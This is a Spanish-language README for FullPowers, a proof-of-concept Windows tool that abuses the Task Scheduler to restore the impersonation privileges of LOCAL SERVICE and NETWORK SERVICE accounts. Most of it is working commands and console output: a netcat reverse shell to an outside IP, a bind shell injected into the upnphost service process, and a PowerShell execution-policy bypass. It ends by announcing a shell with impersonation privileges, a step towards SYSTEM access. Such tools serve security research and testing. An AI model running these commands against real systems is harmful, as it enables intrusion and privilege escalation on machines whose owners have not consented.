
Recuperar el conjunto de privilegios predeterminado de una cuenta de LOCAL/NETWORK SERVICE.
FullPowers es una herramienta de Prueba de Concepto que creé para recuperar automáticamente el conjunto de privilegios predeterminado de una cuenta de servicio, incluyendo SeAssignPrimaryToken y SeImpersonate.
En Windows, algunos servicios ejecutados como LOCAL SERVICE o NETWORK SERVICE están configurados para ejecutarse con un conjunto restringido de privilegios. Por lo tanto, incluso si el servicio se ve comprometido, no obtendrás los privilegios de suplantación dorados y la escalada de privilegios a LOCAL SYSTEM debería ser más complicada. Sin embargo, descubrí que, cuando creas una tarea programada, el nuevo proceso creado por el Servicio del Programador de Tareas tiene todos los privilegios predeterminados de la cuenta de usuario asociada (excepto SeImpersonate). Por lo tanto, con algunas manipulaciones de tokens, puedes generar un nuevo proceso con todos los privilegios faltantes.
Para obtener más información: https://itm4n.github.io/localservice-privileges/
⚠️ Esta herramienta debe ejecutarse solo como LOCAL SERVICE o NETWORK SERVICE.
Puedes consultar el mensaje de ayuda usando la opción -h.
c:\TOOLS>FullPowers -h
FullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account.
For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments:
-v Verbose mode, used for debugging essentially
-c <CMD> Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
-x Try to get the extended set of privileges (might fail with NETWORK SERVICE)
-z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK
¿Quieres probar este PoC tú mismo? ¡Genial! Aquí tienes algunas instrucciones sencillas para empezar.
La idea general es iniciar un bindshell desde el proceso de un servicio existente, conectarse a él y luego ejecutar el ejecutable.
upnphost.C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
¡Ahora deberías tener un shell con privilegios de suplantación!